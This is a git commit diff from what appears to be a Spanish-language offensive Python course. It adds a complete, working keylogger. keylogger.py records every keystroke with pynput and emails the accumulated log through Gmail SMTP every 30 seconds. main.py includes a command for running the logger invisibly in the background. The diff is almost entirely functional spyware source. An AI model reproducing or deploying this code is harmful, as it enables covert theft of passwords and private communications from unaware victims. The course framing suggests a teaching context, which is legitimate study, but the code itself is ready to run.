Add keylogger
This commit is contained in:
parent
2de0131f95
commit
352889e2ba
128
python-ofensivo/15_hacking/09_keylogger/keylogger.py
Normal file
128
python-ofensivo/15_hacking/09_keylogger/keylogger.py
Normal file
@ -0,0 +1,128 @@
|
||||
# !/usr/bin/env python3
|
||||
"""
|
||||
keyloggerPython
|
||||
"""
|
||||
|
||||
|
||||
import dotenv
|
||||
import os
|
||||
import pynput.keyboard
|
||||
import threading
|
||||
import smtplib
|
||||
from email.mime.text import MIMEText
|
||||
|
||||
|
||||
class Keylogger:
|
||||
"""
|
||||
Keylogger
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
|
||||
self.log = ""
|
||||
self.request_shutdown = False
|
||||
self.timer = None
|
||||
self.is_first_run = True
|
||||
|
||||
def pressed_key(self, key):
|
||||
"""
|
||||
Registra las teclas presionadas
|
||||
"""
|
||||
|
||||
try:
|
||||
|
||||
self.log += str(key.char)
|
||||
|
||||
except AttributeError:
|
||||
|
||||
special_keys = {
|
||||
key.space: " ",
|
||||
key.enter: "\n",
|
||||
key.shift: " Shift ",
|
||||
key.shift_r: " Shift ",
|
||||
key.ctrl: " Ctrl ",
|
||||
key.ctrl_r: " Ctrl ",
|
||||
key.alt: " Alt ",
|
||||
key.alt_r: " Alt ",
|
||||
key.tab: " Tab ",
|
||||
key.cmd: " Cmd ",
|
||||
key.backspace: " Backspace ",
|
||||
key.caps_lock: " Caps Lock ",
|
||||
key.down: " Down ",
|
||||
key.up: " Up ",
|
||||
key.left: " Left ",
|
||||
key.right: " Right ",
|
||||
key.esc: " Esc "
|
||||
}
|
||||
|
||||
self.log += special_keys.get(key, f" {str(key)} ")
|
||||
|
||||
|
||||
def send_email(self, subject, body, sender, recipients, password):
|
||||
"""
|
||||
Envia un email con el reporte de teclas presionadas
|
||||
"""
|
||||
|
||||
msg = MIMEText(body)
|
||||
msg['Subject'] = subject
|
||||
msg['From'] = sender
|
||||
msg['To'] = ', '.join(recipients)
|
||||
|
||||
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
|
||||
|
||||
smtp_server.login(sender, password)
|
||||
smtp_server.sendmail(sender, recipients, msg.as_string())
|
||||
|
||||
print(f"[i] Email sent Successfully!\n")
|
||||
|
||||
def report(self):
|
||||
"""
|
||||
Reporte de teclas presionadas por mail
|
||||
"""
|
||||
|
||||
dotenv.load_dotenv()
|
||||
|
||||
app_passwd = os.getenv("APP_PASSWD")
|
||||
|
||||
email_body = "[+] El Keylogger se ha iniciado correctamente" if self.is_first_run else self.log
|
||||
self.send_email(
|
||||
"Keylogger Report",
|
||||
email_body,
|
||||
"keyloggerseginf@gmail.com",
|
||||
["keyloggerseginf@gmail.com"],
|
||||
app_passwd
|
||||
)
|
||||
self.log = ""
|
||||
|
||||
if self.is_first_run:
|
||||
|
||||
self.is_first_run = False
|
||||
|
||||
if not self.request_shutdown:
|
||||
|
||||
self.timer = threading.Timer(30, self.report)
|
||||
self.timer.start()
|
||||
|
||||
def shutdown(self):
|
||||
"""
|
||||
Detiene el keylogger
|
||||
"""
|
||||
|
||||
self.request_shutdown = True
|
||||
|
||||
if self.timer:
|
||||
|
||||
self.timer.cancel()
|
||||
|
||||
def start(self):
|
||||
"""
|
||||
Inicia el keylogger
|
||||
"""
|
||||
|
||||
keyboard_listener = pynput.keyboard.Listener(on_press=self.pressed_key)
|
||||
|
||||
with keyboard_listener:
|
||||
|
||||
self.report()
|
||||
|
||||
keyboard_listener.join()
|
32
python-ofensivo/15_hacking/09_keylogger/main.py
Normal file
32
python-ofensivo/15_hacking/09_keylogger/main.py
Normal file
@ -0,0 +1,32 @@
|
||||
# !/usr/bin/env python3
|
||||
"""
|
||||
Fichero main del proyecto keylogger
|
||||
|
||||
Ejecución invisible:
|
||||
python3 main.py &> /dev/null & disown
|
||||
"""
|
||||
|
||||
import signal
|
||||
import sys
|
||||
from keylogger import Keylogger
|
||||
from termcolor import colored
|
||||
|
||||
|
||||
def def_handler(sig, frame):
|
||||
"""
|
||||
Manejador de señales de salida Ctrl+C
|
||||
"""
|
||||
|
||||
print(colored('\n[!] Saliendo...\n', 'red', attrs=['bold']))
|
||||
|
||||
my_keylogger.shutdown()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, def_handler)
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
my_keylogger = Keylogger()
|
||||
|
||||
my_keylogger.start()
|
Loading…
Reference in New Issue
Block a user